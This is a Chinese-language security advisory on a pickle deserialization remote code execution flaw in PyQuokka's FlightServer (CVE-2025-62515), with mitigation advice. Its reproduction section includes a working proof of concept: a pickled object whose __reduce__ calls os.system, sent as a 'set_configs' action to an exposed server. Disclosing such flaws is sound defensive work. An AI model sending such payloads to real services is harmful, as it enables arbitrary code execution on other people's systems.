当前位置: 首页 > news >正文

PyQuokka框架存在Pickle反序列化远程代码执行漏洞

PyQuokka框架远程代码执行漏洞分析

漏洞概述

在PyQuokka框架的FlightServer类中,do_action()方法直接使用pickle.loads()对来自Flight客户端的动作体进行反序列化,未进行任何清理或验证,导致远程代码执行漏洞。

受影响版本

  • 受影响版本:<= 0.3.1
  • 已修复版本:无

技术细节

漏洞位置

漏洞代码位于pyquokka/flight.py第283行,其中来自Flight客户端的任意数据直接传递给pickle.loads()

攻击场景

当FlightServer配置为监听0.0.0.0时(如第339行提供的服务器示例所示),网络上的攻击者可以通过set_configs动作发送恶意的pickle载荷来执行任意远程代码。

其他漏洞点

除了set_configs动作外,以下函数也包含漏洞点:

  • cache_garbage_collect
  • do_put
  • do_get

这些函数都使用pickle.loads来反序列化不受信任的远程数据。

漏洞复现

步骤1:启动易受攻击的服务器

server = FlightServer("0.0.0.0", location = "grpc+tcp://0.0.0.0:5005")
server.serve()

步骤2:构造恶意载荷

class RCE:def __reduce__(self):import osreturn (os.system, ('ls -l',))import pickle
action_body = pickle.dumps(RCE())
action = pyarrow.flight.Action("set_configs", action_body)

当服务器收到此载荷时,FlightServer.do_action()方法在第283行调用pickle.loads(action.body.to_pybytes()),通过Python的pickle反序列化机制触发恶意代码执行。

影响范围

  • 完全系统沦陷
  • 数据泄露
  • 网络内横向移动
  • 拒绝服务攻击
  • 持久后门安装

缓解措施

替换不安全的反序列化

使用更安全的替代方案替换pickle.loads()

  • 简单数据结构使用JSON序列化
  • 复杂数据使用Protocol Buffers或MessagePack
  • 如果必须使用pickle,实现自定义Unpickler并限制find_class()方法仅允许白名单类

网络安全

  • 如果服务仅用于内部使用,绑定到localhost(127.0.0.1)而不是0.0.0.0
  • 实现身份验证和授权机制

安全警告

在公共接口上启动服务时,显示明确的安全警告以告知用户风险。

参考信息

  • GHSA-f74j-gffq-vm9p
  • https://github.com/marsupialtail/quokka/blob/master/pyquokka/flight.py#L283
  • https://nvd.nist.gov/vuln/detail/CVE-2025-62515

安全评分

  • CVSS总体评分:9.8(严重)
  • EPSS评分:0.285%(第52百分位)

弱点分类

  • CWE-502:不可信数据的反序列化
    更多精彩内容 请关注我的个人公众号 公众号(办公AI智能小助手)
    对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号(网络安全技术点滴分享)

公众号二维码

公众号二维码

http://www.hskmm.com/?act=detail&tid=37779

相关文章:

  • sql server查看所有表名以及注释
  • 2025年磨粉机厂家推荐排行榜,雷蒙磨粉机,环辊磨粉机,摆式磨粉机,矿石磨粉机,超细磨粉机,高压磨粉机,大型磨粉机公司推荐
  • 2025年润滑油厂家权威推荐榜:工业润滑油,汽车润滑油,发动机润滑油,甲醇发动机润滑油,三特/三球/安迪森润滑油,全合成润滑油,中国润滑油,长效发动机润滑油厂家精选
  • SQL Server 建表语句
  • 2025年氢氧化镁厂家权威推荐榜:矿石氢氧化镁/水镁石氢氧化镁/阻燃剂氢氧化镁/改性氢氧化镁源头企业综合评测与采购指南
  • SQL Server 报错引用了无效的表`表名`
  • 2025年粘度计厂家权威推荐榜:在线/旋转/振动/在线振动/在线旋转/实验室旋转/实验室在线/反应釜在线/管线在线振动/实验室振动粘度计专业选购指南
  • Nexpose 8.25.0 for Linux Windows - 漏洞扫描
  • 2025年冲压件厂家推荐排行榜,新能源冲压件,光伏冲压件,精密冲压件,异形冲压件,五金冲压件,铝冲压件,汽配冲压件,不锈钢冲压件,家具冲压件公司推荐
  • 2025年电源适配器厂家权威推荐榜单:开关电源适配器,笔记本电源适配器,手机电源适配器,工业电源适配器公司精选
  • 2025年兄弟机床维修厂家权威推荐榜:专业维修技术与高效服务口碑深度解析
  • 2025年环保空调厂家权威推荐榜:移动式环保空调,节能环保空调,工业环保空调源头厂家综合解析与选购指南
  • 2025年氧化镁厂家最新推荐排行榜,活性氧化镁,肥料级氧化镁,高纯度氧化镁,工业级氧化镁优质供应商精选
  • 2025年10月肤色暗沉产品评测榜:五款温和亮肤方案指南
  • 动态 dp 学习笔记(树剖版)
  • 2025年10月北京项目管理公司推荐榜:诺士诚领衔全维度对比
  • 2025年10月淡化痘印产品推荐榜:五款高口碑单品横向对比
  • CSP-S模拟37(全真 1)
  • 2025年10月产后孕斑修复产品推荐榜:权威对比与选购指南
  • 2025年10月祛斑产品推荐榜:临床验证数据与口碑排行
  • 2025年10月敏感肌产品推荐榜:温和美白面霜对比排行
  • PHP 异常处理全攻略 Try-Catch 从入门到精通完全指南
  • 状态最短路
  • 易语言5.95完美破解版
  • kratos 框架编写一个评价系统
  • 有时放开手 ,才能抓得紧
  • 解决Proxmox VE 9版本apt-get报错
  • 读AI赋能08竞技场
  • kratos 框架编写一个小demo
  • [MS-DOS] DOS_6.22_Users_Manual_1994.pdf